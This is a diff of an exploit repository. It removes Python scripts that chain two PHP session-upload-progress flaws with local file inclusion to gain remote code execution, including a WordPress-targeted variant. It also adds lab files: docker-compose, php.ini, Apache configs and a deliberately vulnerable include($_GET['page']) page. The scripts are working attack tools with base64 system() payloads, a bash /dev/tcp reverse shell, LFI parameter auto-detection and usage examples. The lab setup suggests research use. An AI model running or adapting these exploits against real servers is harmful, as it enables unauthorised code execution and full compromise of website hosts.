print()
|
|
||||||
|
|
||||||
print()
|
|
||||||
if trigger_only:
|
|
||||||
print("[*] Done. Session file was poisoned — verify via LFI or file access.")
|
|
||||||
elif cmd or (lhost and lport):
|
|
||||||
print("[*] Done. If RCE did not fire, check:")
|
|
||||||
print(" - session.upload_progress.enabled = 1")
|
|
||||||
print(" - session.serialize_handler = php (default)")
|
|
||||||
print(" - LFI parameter name (--lfi-param)")
|
|
||||||
print(" - Session save path (--session-path)")
|
|
||||||
return False
|
|
||||||
|
|
||||||
def _run_race(host, port, tls, path, php_code, lfi_param,
|
|
||||||
session_path, cmd, lhost, lport, trigger_only, attempts):
|
|
||||||
"""Race condition mode: works with session.upload_progress.cleanup=1.
|
|
||||||
|
|
||||||
Sends a slow multipart upload to keep the session file populated with
|
|
||||||
our PHP code, while concurrently trying to include it via LFI.
|
|
||||||
"""
|
|
||||||
spaths = [session_path] if session_path else list(DEFAULT_SESSION_PATHS)
|
|
||||||
|
|
||||||
for attempt in range(1, attempts + 1):
|
|
||||||
if attempts > 1:
|
|
||||||
print(f"[*] === Attempt {attempt}/{attempts} ===")
|
|
||||||
|
|
||||||
sid = os.urandom(16).hex()
|
|
||||||
print(f"[+] Session ID: {sid}")
|
|
||||||
|
|
||||||
# Start slow upload in background thread
|
|
||||||
print("[*] Starting slow upload (keeps session file alive)...")
|
|
||||||
upload_thread = threading.Thread(
|
|
||||||
target=phase2_inject_slow,
|
|
||||||
args=(host, port, tls, path, sid, php_code, 8.0),
|
|
||||||
daemon=True,
|
|
||||||
)
|
|
||||||
upload_thread.start()
|
|
||||||
time.sleep(0.3)
|
|
||||||
|
|
||||||
# Race: try LFI repeatedly while upload is in progress
|
|
||||||
# Use a DIFFERENT session ID for LFI to avoid blocking on session file lock
|
|
||||||
lfi_sid = os.urandom(16).hex()
|
|
||||||
print("[*] Racing LFI requests against upload...")
|
|
||||||
hit = False
|
|
||||||
for i in range(100):
|
|
||||||
if not upload_thread.is_alive():
|
|
||||||
break
|
|
||||||
for sp in spaths:
|
|
||||||
sess_file = f"{sp}/sess_{sid}"
|
|
||||||
url = f"{path}?{lfi_param}={sess_file}"
|
|
||||||
try:
|
|
||||||
sock = _connect(host, port, tls)
|
|
||||||
resp = _send_http(
|
|
||||||
sock, b"GET", host, url,
|
|
||||||
headers={"Cookie": f"PHPSESSID={lfi_sid}"},
|
|
||||||
keepalive=False,
|
|
||||||
)
|
|
||||||
sock.close()
|
|
||||||
body = _extract_body(resp)
|
|
||||||
body_text = body.decode(errors="replace")
|
|
||||||
|
|
||||||
if "CVE-2026-109619:" in body_text or "CVE2026:" in body_text:
|
|
||||||
hit = True
|
|
||||||
if "CVE-2026-109619:" in body_text:
|
|
||||||
marker = body_text[body_text.index("CVE-2026-109619:"):]
|
|
||||||
marker = marker.split("|")[0][:200]
|
|
||||||
print(f"\n[+] CODE EXECUTION CONFIRMED (race won, attempt {i+1})")
|
|
||||||
print(f" {marker}")
|
|
||||||
elif "CVE2026:" in body_text:
|
|
||||||
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
|
|
||||||
if m:
|
|
||||||
result = m.group(1).strip()
|
|
||||||
else:
|
|
||||||
result = body_text.split("upload_progress_")[0] if "upload_progress_" in body_text else body_text[:500]
|
|
||||||
print(f"\n[+] ═══════ RCE OUTPUT (race won, attempt {i+1}) ═══════")
|
|
||||||
print(result)
|
|
||||||
print("[+] ═════════════════════════════════════════════")
|
|
||||||
print(f"\n[+] RCE achieved via CVE-2026-109619!")
|
|
||||||
return True
|
|
||||||
elif b"upload_progress_" in body:
|
|
||||||
print(f" [+] Session file found at {sp} — content visible")
|
|
||||||
if trigger_only:
|
|
||||||
print(f"[+] Session poisoning confirmed (race won)")
|
|
||||||
return True
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
time.sleep(0.02)
|
|
||||||
|
|
||||||
upload_thread.join(timeout=2)
|
|
||||||
|
|
||||||
if hit:
|
|
||||||
return True
|
|
||||||
print(f" Race lost on attempt {attempt}")
|
|
||||||
|
|
||||||
print("[!] Race condition failed after all attempts")
|
|
||||||
print(" Try: --attempts 10 or check --session-path")
|
|
||||||
return False
|
|
||||||
|
|
||||||
|
|
||||||
def main():
|
|
||||||
p = argparse.ArgumentParser(
|
|
||||||
description="CVE-2026-109619: PHP session upload progress → RCE",
|
|
||||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
|
||||||
epilog="""
|
|
||||||
Examples:
|
|
||||||
%(prog)s -t http://target/app.php --cmd 'id' --lfi-param page --session-path /tmp
|
|
||||||
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444 --lfi-param page
|
|
||||||
%(prog)s -t http://target/app.php --trigger-only
|
|
||||||
%(prog)s -t http://target/app.php --cmd 'id' --lfi-param page --race
|
|
||||||
""")
|
|
||||||
p.add_argument("--target", "-t", required=True,
|
|
||||||
help="Target URL (PHP endpoint with session_start())")
|
|
||||||
p.add_argument("--lhost", help="Listener IP for reverse shell")
|
|
||||||
p.add_argument("--lport", type=int, help="Listener port for reverse shell")
|
|
||||||
p.add_argument("--cmd", help="Command to execute (alternative to reverse shell)")
|
|
||||||
p.add_argument("--trigger-only", action="store_true",
|
|
||||||
help="Inject code into session file only — no inclusion/RCE")
|
|
||||||
p.add_argument("--lfi-param", default="",
|
|
||||||
help="Query parameter for LFI (e.g., 'page', 'file', 'template')")
|
|
||||||
p.add_argument("--session-path", default="",
|
|
||||||
help="session.save_path on target (e.g., /tmp, /var/lib/php/sessions)")
|
|
||||||
p.add_argument("--race", action="store_true",
|
|
||||||
help="Race condition mode — works with cleanup=1 (default config)")
|
|
||||||
p.add_argument("--attempts", type=int, default=3,
|
|
||||||
help="Number of attempts (default 3)")
|
|
||||||
args = p.parse_args()
|
|
||||||
|
|
||||||
if not args.trigger_only and not args.cmd and not args.lhost:
|
|
||||||
print("[!] Specify --trigger-only, --cmd, or --lhost/--lport")
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
run(args.target, args.lhost, args.lport, args.trigger_only,
|
|
||||||
args.cmd, args.lfi_param, args.session_path, args.attempts,
|
|
||||||
race=args.race)
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
main()
|
|
||||||
@@ -1,9 +0,0 @@
|
|||||||
<?php
|
|
||||||
session_start();
|
|
||||||
$pid = getmypid();
|
|
||||||
|
|
||||||
if (isset($_GET['page'])) {
|
|
||||||
include($_GET['page']);
|
|
||||||
}
|
|
||||||
|
|
||||||
echo "pid=$pid sid=" . session_id() . "\n";
|
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
# Single-worker prefork for reliable exploitation.
|
||||||
|
# The exploit requires A and B requests to hit the same worker.
|
||||||
|
<IfModule mpm_prefork_module>
|
||||||
|
StartServers 1
|
||||||
|
MinSpareServers 1
|
||||||
|
MaxSpareServers 1
|
||||||
|
MaxRequestWorkers 1
|
||||||
|
MaxConnectionsPerChild 0
|
||||||
|
</IfModule>
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
services:
|
||||||
|
target:
|
||||||
|
image: php:8.4.26-apache
|
||||||
|
container_name: php2shell-uaf-target
|
||||||
|
ports:
|
||||||
|
- "127.0.0.1:8089:80"
|
||||||
|
volumes:
|
||||||
|
- ./php.ini:/usr/local/etc/php/php.ini:ro
|
||||||
|
- ./apache-prefork.conf:/etc/apache2/mods-available/mpm_prefork.conf:ro
|
||||||
|
- ./html:/var/www/html:rw
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
stock:
|
||||||
|
image: php:8.4.26-apache
|
||||||
|
container_name: php2shell-uaf-stock
|
||||||
|
ports:
|
||||||
|
- "127.0.0.1:8093:80"
|
||||||
|
volumes:
|
||||||
|
- ./apache-prefork.conf:/etc/apache2/mods-available/mpm_prefork.conf:ro
|
||||||
|
- ./html:/var/www/html:ro
|
||||||
|
restart: unless-stopped
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
<?php
|
||||||
|
// Any PHP page works. session_start() is NOT required.
|
||||||
|
echo "OK";
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
display_errors = Off
|
||||||
|
memory_limit = 8M
|
||||||
|
session.upload_progress.enabled = 1
|
||||||
|
session.upload_progress.cleanup = 1
|
||||||
|
max_input_vars = 1000
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
display_errors = Off
|
||||||
|
memory_limit = 128M
|
||||||
|
session.upload_progress.enabled = 1
|
||||||
|
session.upload_progress.cleanup = 1
|
||||||
|
max_input_vars = 1000
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
; Minimal config for the UAF RCE exploit lab.
|
||||||
|
; Most settings match the stock php:8.4.26-apache defaults.
|
||||||
|
display_errors = On
|
||||||
|
memory_limit = 8M
|
||||||
|
session.upload_progress.enabled = 1
|
||||||
|
session.upload_progress.cleanup = 1
|
||||||
|
max_input_vars = 1000
|
||||||
+1072
File diff suppressed because it is too large
Load Diff
@@ -1,492 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
"""
|
|
||||||
WordPress RCE via PHP CVE-2026-109618 / CVE-2026-109619
|
|
||||||
|
|
||||||
Demonstrates both PHP session upload progress vulnerabilities against a
|
|
||||||
WordPress target that has:
|
|
||||||
1. A plugin calling session_start() (WooCommerce, any session-using plugin)
|
|
||||||
2. A local file inclusion vector (plugin theme-preview, template param, etc.)
|
|
||||||
|
|
||||||
Two attack modes:
|
|
||||||
|
|
||||||
OOM mode (CVE-2026-109618)
|
|
||||||
Floods multipart fields to OOM PHP during parsing. zend_bailout()
|
|
||||||
longjmps past MULTIPART_EVENT_END → session cleanup skipped →
|
|
||||||
session file with PHP code persists on disk. Second request
|
|
||||||
includes it via LFI. Works with session.upload_progress.cleanup=1.
|
|
||||||
|
|
||||||
Race mode (CVE-2026-109619)
|
|
||||||
Sends a slow multipart upload that keeps the session file populated
|
|
||||||
while concurrent LFI requests race to include it before cleanup.
|
|
||||||
Works with session.upload_progress.cleanup=1. Lower field count,
|
|
||||||
no OOM needed.
|
|
||||||
|
|
||||||
Usage:
|
|
||||||
# OOM mode (default) — 'id' command
|
|
||||||
python3 wordpress-exploit.py -t http://target:8080/ --cmd 'id'
|
|
||||||
|
|
||||||
# Race mode — reverse shell
|
|
||||||
python3 wordpress-exploit.py -t http://target:8080/ --mode race \\
|
|
||||||
--lhost 10.0.0.1 --lport 4444
|
|
||||||
|
|
||||||
# Custom LFI parameter and session path
|
|
||||||
python3 wordpress-exploit.py -t http://target:8080/ --cmd 'cat /etc/passwd' \\
|
|
||||||
--lfi-param dt_template --session-path /tmp/php-sessions
|
|
||||||
"""
|
|
||||||
|
|
||||||
import argparse
|
|
||||||
import base64
|
|
||||||
import os
|
|
||||||
import re
|
|
||||||
import socket
|
|
||||||
import sys
|
|
||||||
import threading
|
|
||||||
import time
|
|
||||||
from urllib.parse import urlparse
|
|
||||||
|
|
||||||
# ─── defaults ────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
WP_SESSION_PATHS = [
|
|
||||||
"/tmp",
|
|
||||||
"/tmp/php-sessions",
|
|
||||||
"/var/lib/php/sessions",
|
|
||||||
"/var/lib/php5/sessions",
|
|
||||||
]
|
|
||||||
|
|
||||||
WP_LFI_PARAMS = [
|
|
||||||
"dt_template",
|
|
||||||
"page",
|
|
||||||
"template",
|
|
||||||
"file",
|
|
||||||
"tpl",
|
|
||||||
"include",
|
|
||||||
"path",
|
|
||||||
]
|
|
||||||
|
|
||||||
# OOM tuning — ~1.6KB per field on PHP 8.4, aim for 80% of memory_limit
|
|
||||||
OOM_FIELD_SIZE = 1024
|
|
||||||
OOM_FIELDS_64M = 40000
|
|
||||||
OOM_FIELDS_128M = 80000
|
|
||||||
|
|
||||||
# ─── HTTP / multipart helpers ────────────────────────────────────────
|
|
||||||
|
|
||||||
def tcp_connect(host, port, tls=False, timeout=30):
|
|
||||||
sock = socket.create_connection((host, port), timeout=timeout)
|
|
||||||
if tls:
|
|
||||||
import ssl
|
|
||||||
ctx = ssl.create_default_context()
|
|
||||||
ctx.check_hostname = False
|
|
||||||
ctx.verify_mode = ssl.CERT_NONE
|
|
||||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
|
||||||
return sock
|
|
||||||
|
|
||||||
|
|
||||||
def recv_all(sock, timeout=10):
|
|
||||||
resp = b""
|
|
||||||
sock.settimeout(timeout)
|
|
||||||
try:
|
|
||||||
while True:
|
|
||||||
d = sock.recv(8192)
|
|
||||||
if not d:
|
|
||||||
break
|
|
||||||
resp += d
|
|
||||||
except socket.timeout:
|
|
||||||
pass
|
|
||||||
return resp
|
|
||||||
|
|
||||||
|
|
||||||
def status_code(resp):
|
|
||||||
try:
|
|
||||||
return int(resp.split(b" ")[1])
|
|
||||||
except:
|
|
||||||
return 0
|
|
||||||
|
|
||||||
|
|
||||||
def body_of(resp):
|
|
||||||
if b"\r\n\r\n" not in resp:
|
|
||||||
return resp
|
|
||||||
hdr, raw = resp.split(b"\r\n\r\n", 1)
|
|
||||||
if b"transfer-encoding: chunked" in hdr.lower():
|
|
||||||
out, data = b"", raw
|
|
||||||
while data:
|
|
||||||
nl = data.find(b"\r\n")
|
|
||||||
if nl < 0:
|
|
||||||
break
|
|
||||||
try:
|
|
||||||
clen = int(data[:nl].split(b";")[0].strip(), 16)
|
|
||||||
except ValueError:
|
|
||||||
break
|
|
||||||
if clen == 0:
|
|
||||||
break
|
|
||||||
out += data[nl+2:nl+2+clen]
|
|
||||||
data = data[nl+2+clen+2:]
|
|
||||||
return out
|
|
||||||
return raw
|
|
||||||
|
|
||||||
|
|
||||||
def http_get(host, port, tls, path, headers=None, timeout=10):
|
|
||||||
sock = tcp_connect(host, port, tls, timeout)
|
|
||||||
req = (
|
|
||||||
b"GET " + path.encode() + b" HTTP/1.1\r\n"
|
|
||||||
b"Host: " + host.encode() + b"\r\n"
|
|
||||||
)
|
|
||||||
if headers:
|
|
||||||
for k, v in headers.items():
|
|
||||||
req += f"{k}: {v}\r\n".encode()
|
|
||||||
req += b"Connection: close\r\n\r\n"
|
|
||||||
sock.sendall(req)
|
|
||||||
resp = recv_all(sock, timeout)
|
|
||||||
sock.close()
|
|
||||||
return resp
|
|
||||||
|
|
||||||
|
|
||||||
def mp_field(bnd, name, value):
|
|
||||||
return (b"--" + bnd + b"\r\n"
|
|
||||||
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
|
||||||
b"\r\n" + value + b"\r\n")
|
|
||||||
|
|
||||||
|
|
||||||
def mp_file(bnd, name, fname, content):
|
|
||||||
return (b"--" + bnd + b"\r\n"
|
|
||||||
b'Content-Disposition: form-data; name="' + name
|
|
||||||
+ b'"; filename="' + fname + b'"\r\n'
|
|
||||||
b"Content-Type: application/octet-stream\r\n"
|
|
||||||
b"\r\n" + content + b"\r\n")
|
|
||||||
|
|
||||||
|
|
||||||
def mp_end(bnd):
|
|
||||||
return b"--" + bnd + b"--\r\n"
|
|
||||||
|
|
||||||
# ─── payload builders ────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def build_payload(args):
|
|
||||||
if args.trigger_only:
|
|
||||||
return b'<?php echo "CVE2026:TRIGGERED:pid=".getmypid().":".php_uname(); ?>'
|
|
||||||
if args.cmd:
|
|
||||||
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
|
||||||
return f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
|
||||||
if args.lhost and args.lport:
|
|
||||||
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
|
||||||
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
|
||||||
return f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
|
||||||
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
# ─── OOM mode (CVE-2026-109618) ─────────────────────────────────────
|
|
||||||
|
|
||||||
def attack_oom(host, port, tls, path, sid, php_code, lfi_param,
|
|
||||||
session_paths, fields, fsize, args):
|
|
||||||
bnd = b"----CVE2026OOM" + os.urandom(8).hex().encode()
|
|
||||||
|
|
||||||
print("[*] Phase 1: session poisoning + OOM crash")
|
|
||||||
print(f" Building {fields} × {fsize}B field payload...")
|
|
||||||
|
|
||||||
body = b""
|
|
||||||
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
|
|
||||||
body += mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096)
|
|
||||||
for i in range(fields):
|
|
||||||
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
|
|
||||||
body += mp_end(bnd)
|
|
||||||
print(f" Payload: {len(body)/(1024*1024):.1f} MB")
|
|
||||||
|
|
||||||
sock = tcp_connect(host, port, tls, timeout=120)
|
|
||||||
sock.sendall(
|
|
||||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
|
||||||
b"Host: " + host.encode() + b"\r\n"
|
|
||||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
|
||||||
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
|
||||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
|
||||||
b"Connection: close\r\n\r\n"
|
|
||||||
)
|
|
||||||
try:
|
|
||||||
sock.sendall(body)
|
|
||||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
|
||||||
pass
|
|
||||||
|
|
||||||
resp = recv_all(sock, timeout=10)
|
|
||||||
sock.close()
|
|
||||||
sc = status_code(resp)
|
|
||||||
|
|
||||||
if sc == 502 or sc == 0:
|
|
||||||
print(f" [+] Worker crashed (HTTP {sc or 'reset'})")
|
|
||||||
print(f" OOM during parsing — session cleanup skipped")
|
|
||||||
elif sc == 500:
|
|
||||||
print(f" [+] HTTP 500 — OOM during script execution")
|
|
||||||
else:
|
|
||||||
print(f" [!] HTTP {sc} — no OOM. Try --fields {fields*2}")
|
|
||||||
return False
|
|
||||||
|
|
||||||
# Wait for new worker
|
|
||||||
print(" Waiting for new worker...")
|
|
||||||
time.sleep(2)
|
|
||||||
for i in range(10):
|
|
||||||
try:
|
|
||||||
r = http_get(host, port, tls, path, timeout=3)
|
|
||||||
if status_code(r) in (200, 301, 302, 403, 404):
|
|
||||||
print(f" New worker ready")
|
|
||||||
break
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
time.sleep(1)
|
|
||||||
else:
|
|
||||||
print(" [!] New worker not available")
|
|
||||||
return False
|
|
||||||
|
|
||||||
# Phase 2: LFI
|
|
||||||
return phase_lfi(host, port, tls, path, sid, lfi_param, session_paths, args)
|
|
||||||
|
|
||||||
|
|
||||||
# ─── Race mode (CVE-2026-109619) ────────────────────────────────────
|
|
||||||
|
|
||||||
def slow_upload(host, port, tls, path, sid, php_code, duration=8.0):
|
|
||||||
bnd = b"----SLOW" + os.urandom(4).hex().encode()
|
|
||||||
sock = tcp_connect(host, port, tls)
|
|
||||||
|
|
||||||
head = b""
|
|
||||||
head += (b"--" + bnd + b"\r\n"
|
|
||||||
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
|
|
||||||
b"\r\n" + php_code + b"\r\n")
|
|
||||||
head += (b"--" + bnd + b"\r\n"
|
|
||||||
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
|
|
||||||
b"Content-Type: application/octet-stream\r\n\r\n")
|
|
||||||
|
|
||||||
file_size = 1024 * 1024
|
|
||||||
tail = b"\r\n--" + bnd + b"--\r\n"
|
|
||||||
total = len(head) + file_size + len(tail)
|
|
||||||
|
|
||||||
sock.sendall(
|
|
||||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
|
||||||
b"Host: " + host.encode() + b"\r\n"
|
|
||||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
|
||||||
b"Content-Length: " + str(total).encode() + b"\r\n"
|
|
||||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
|
||||||
b"Connection: close\r\n\r\n"
|
|
||||||
)
|
|
||||||
sock.sendall(head)
|
|
||||||
|
|
||||||
chunk = b"\x00" * 4096
|
|
||||||
sent, start = 0, time.time()
|
|
||||||
try:
|
|
||||||
while sent < file_size and (time.time() - start) < duration:
|
|
||||||
sock.sendall(chunk[:min(4096, file_size - sent)])
|
|
||||||
sent += min(4096, file_size - sent)
|
|
||||||
time.sleep(0.05)
|
|
||||||
sock.sendall(tail)
|
|
||||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
|
||||||
pass
|
|
||||||
try:
|
|
||||||
recv_all(sock, timeout=2)
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
sock.close()
|
|
||||||
|
|
||||||
|
|
||||||
def attack_race(host, port, tls, path, php_code, lfi_param,
|
|
||||||
session_paths, attempts, args):
|
|
||||||
for attempt in range(1, attempts + 1):
|
|
||||||
if attempts > 1:
|
|
||||||
print(f"[*] === Attempt {attempt}/{attempts} ===")
|
|
||||||
|
|
||||||
sid = os.urandom(16).hex()
|
|
||||||
lfi_sid = os.urandom(16).hex()
|
|
||||||
print(f"[+] Upload SID: {sid}")
|
|
||||||
|
|
||||||
print("[*] Starting slow upload (keeps session file alive)...")
|
|
||||||
t = threading.Thread(target=slow_upload,
|
|
||||||
args=(host, port, tls, path, sid, php_code, 8.0),
|
|
||||||
daemon=True)
|
|
||||||
t.start()
|
|
||||||
time.sleep(0.3)
|
|
||||||
|
|
||||||
print("[*] Racing LFI requests against upload...")
|
|
||||||
for i in range(150):
|
|
||||||
if not t.is_alive():
|
|
||||||
break
|
|
||||||
for sp in session_paths:
|
|
||||||
sess = f"{sp}/sess_{sid}"
|
|
||||||
url = f"{path}?{lfi_param}={sess}"
|
|
||||||
try:
|
|
||||||
resp = http_get(host, port, tls, url,
|
|
||||||
headers={"Cookie": f"PHPSESSID={lfi_sid}"},
|
|
||||||
timeout=3)
|
|
||||||
rbody = body_of(resp)
|
|
||||||
if b"CVE2026:" in rbody:
|
|
||||||
output = extract_output(rbody.decode(errors="replace"), args)
|
|
||||||
if output is not None:
|
|
||||||
print(f"\n[+] Race won on iteration {i+1}")
|
|
||||||
print_result(output, args)
|
|
||||||
return True
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
time.sleep(0.02)
|
|
||||||
|
|
||||||
t.join(timeout=2)
|
|
||||||
print(f" Race lost on attempt {attempt}")
|
|
||||||
|
|
||||||
print("[!] Race condition failed after all attempts")
|
|
||||||
return False
|
|
||||||
|
|
||||||
# ─── LFI phase (shared) ─────────────────────────────────────────────
|
|
||||||
|
|
||||||
def phase_lfi(host, port, tls, path, sid, lfi_param, session_paths, args):
|
|
||||||
print()
|
|
||||||
print("[*] Phase 2: including poisoned session file via LFI...")
|
|
||||||
|
|
||||||
for sp in session_paths:
|
|
||||||
sess = f"{sp}/sess_{sid}"
|
|
||||||
url = f"{path}?{lfi_param}={sess}"
|
|
||||||
try:
|
|
||||||
resp = http_get(host, port, tls, url, timeout=10)
|
|
||||||
rbody = body_of(resp)
|
|
||||||
if b"CVE2026:" in rbody:
|
|
||||||
output = extract_output(rbody.decode(errors="replace"), args)
|
|
||||||
if output is not None:
|
|
||||||
print(f" Session file: {sess}")
|
|
||||||
print_result(output, args)
|
|
||||||
return True
|
|
||||||
except:
|
|
||||||
continue
|
|
||||||
|
|
||||||
print(" [!] Session file not found via LFI")
|
|
||||||
print(f" Tried: {', '.join(session_paths)}")
|
|
||||||
return False
|
|
||||||
|
|
||||||
|
|
||||||
def extract_output(body_text, args):
|
|
||||||
if args.trigger_only:
|
|
||||||
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", body_text)
|
|
||||||
return m.group(1) if m else body_text[:200]
|
|
||||||
if args.cmd:
|
|
||||||
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
|
|
||||||
if m:
|
|
||||||
return m.group(1).strip()
|
|
||||||
if "upload_progress_" in body_text:
|
|
||||||
return ""
|
|
||||||
return body_text[:500]
|
|
||||||
return ""
|
|
||||||
|
|
||||||
|
|
||||||
def print_result(output, args):
|
|
||||||
if args.trigger_only:
|
|
||||||
print()
|
|
||||||
print("[+] Code execution confirmed!")
|
|
||||||
print(f" {output}")
|
|
||||||
elif args.cmd:
|
|
||||||
print()
|
|
||||||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
|
||||||
print(output)
|
|
||||||
print("[+] ══════════════════════════════════════════")
|
|
||||||
print()
|
|
||||||
print("[+] RCE achieved!")
|
|
||||||
else:
|
|
||||||
print()
|
|
||||||
print("[+] Payload delivered — check your listener")
|
|
||||||
|
|
||||||
# ─── auto-detect ─────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def detect_lfi_param(host, port, tls, path, params):
|
|
||||||
for param in params:
|
|
||||||
try:
|
|
||||||
url = f"{path}?{param}=/etc/hostname"
|
|
||||||
resp = http_get(host, port, tls, url, timeout=5)
|
|
||||||
sc = status_code(resp)
|
|
||||||
rbody = body_of(resp)
|
|
||||||
if sc == 200 and len(rbody.strip()) > 0 and len(rbody.strip()) < 200:
|
|
||||||
return param
|
|
||||||
except:
|
|
||||||
continue
|
|
||||||
return None
|
|
||||||
|
|
||||||
# ─── main ────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def main():
|
|
||||||
ap = argparse.ArgumentParser(
|
|
||||||
description="WordPress RCE via PHP CVE-2026-109618 / CVE-2026-109619",
|
|
||||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
|
||||||
epilog="""
|
|
||||||
Examples:
|
|
||||||
%(prog)s -t http://target:8080/ --cmd 'id'
|
|
||||||
%(prog)s -t http://target:8080/ --mode race --cmd 'whoami'
|
|
||||||
%(prog)s -t http://target:8080/ --lhost 10.0.0.1 --lport 4444
|
|
||||||
%(prog)s -t http://target:8080/ --trigger-only
|
|
||||||
""")
|
|
||||||
ap.add_argument("-t", "--target", required=True, help="WordPress URL")
|
|
||||||
ap.add_argument("--mode", choices=["oom", "race"], default="oom",
|
|
||||||
help="Attack mode: oom (CVE-2026-109618) or race (CVE-2026-109619)")
|
|
||||||
ap.add_argument("--cmd", help="Command to execute")
|
|
||||||
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
|
||||||
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
|
||||||
ap.add_argument("--trigger-only", action="store_true",
|
|
||||||
help="Confirm vulnerability without payload")
|
|
||||||
ap.add_argument("--lfi-param", help="LFI query parameter (auto-detected if omitted)")
|
|
||||||
ap.add_argument("--session-path", help="session.save_path on target")
|
|
||||||
ap.add_argument("--fields", type=int, default=OOM_FIELDS_64M,
|
|
||||||
help=f"OOM pressure fields (default {OOM_FIELDS_64M} for 64M)")
|
|
||||||
ap.add_argument("--field-size", type=int, default=OOM_FIELD_SIZE,
|
|
||||||
help=f"Bytes per OOM field (default {OOM_FIELD_SIZE})")
|
|
||||||
ap.add_argument("--attempts", type=int, default=5,
|
|
||||||
help="Race mode attempts (default 5)")
|
|
||||||
args = ap.parse_args()
|
|
||||||
|
|
||||||
p = urlparse(args.target)
|
|
||||||
tls = p.scheme == "https"
|
|
||||||
host = p.hostname or "127.0.0.1"
|
|
||||||
port = p.port or (443 if tls else 80)
|
|
||||||
path = p.path or "/"
|
|
||||||
if not path.endswith("/") and "." not in path.split("/")[-1]:
|
|
||||||
path += "/"
|
|
||||||
|
|
||||||
php_code = build_payload(args)
|
|
||||||
sid = os.urandom(16).hex()
|
|
||||||
spaths = list(WP_SESSION_PATHS)
|
|
||||||
if args.session_path:
|
|
||||||
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
|
|
||||||
|
|
||||||
cve = "CVE-2026-109618 (OOM)" if args.mode == "oom" else "CVE-2026-109619 (Race)"
|
|
||||||
print("=" * 65)
|
|
||||||
print(f" WordPress RCE — {cve}")
|
|
||||||
print("=" * 65)
|
|
||||||
print(f" Target : {args.target}")
|
|
||||||
print(f" Mode : {args.mode}")
|
|
||||||
if args.cmd:
|
|
||||||
print(f" Command : {args.cmd}")
|
|
||||||
elif args.lhost:
|
|
||||||
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
|
||||||
print()
|
|
||||||
|
|
||||||
# Phase 0: verify target
|
|
||||||
print("[*] Checking target...")
|
|
||||||
try:
|
|
||||||
r = http_get(host, port, tls, path, timeout=5)
|
|
||||||
sc = status_code(r)
|
|
||||||
if sc == 0:
|
|
||||||
raise ConnectionError("no response")
|
|
||||||
print(f" HTTP {sc} — WordPress alive")
|
|
||||||
except Exception as e:
|
|
||||||
print(f" [!] Not reachable: {e}")
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
# Auto-detect LFI param
|
|
||||||
lfi_param = args.lfi_param
|
|
||||||
if not lfi_param:
|
|
||||||
print("[*] Auto-detecting LFI parameter...")
|
|
||||||
lfi_param = detect_lfi_param(host, port, tls, path, WP_LFI_PARAMS)
|
|
||||||
if lfi_param:
|
|
||||||
print(f" [+] Found: {lfi_param}")
|
|
||||||
else:
|
|
||||||
print(" [!] No LFI param detected. Specify --lfi-param")
|
|
||||||
sys.exit(1)
|
|
||||||
print()
|
|
||||||
|
|
||||||
if args.mode == "oom":
|
|
||||||
ok = attack_oom(host, port, tls, path, sid, php_code, lfi_param,
|
|
||||||
spaths, args.fields, args.field_size, args)
|
|
||||||
else:
|
|
||||||
ok = attack_race(host, port, tls, path, php_code, lfi_param,
|
|
||||||
spaths, args.attempts, args)
|
|
||||||
|
|
||||||
sys.exit(0 if ok else 1)
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
main()
|
|
||||||
@@ -1,34 +0,0 @@
|
|||||||
<?php
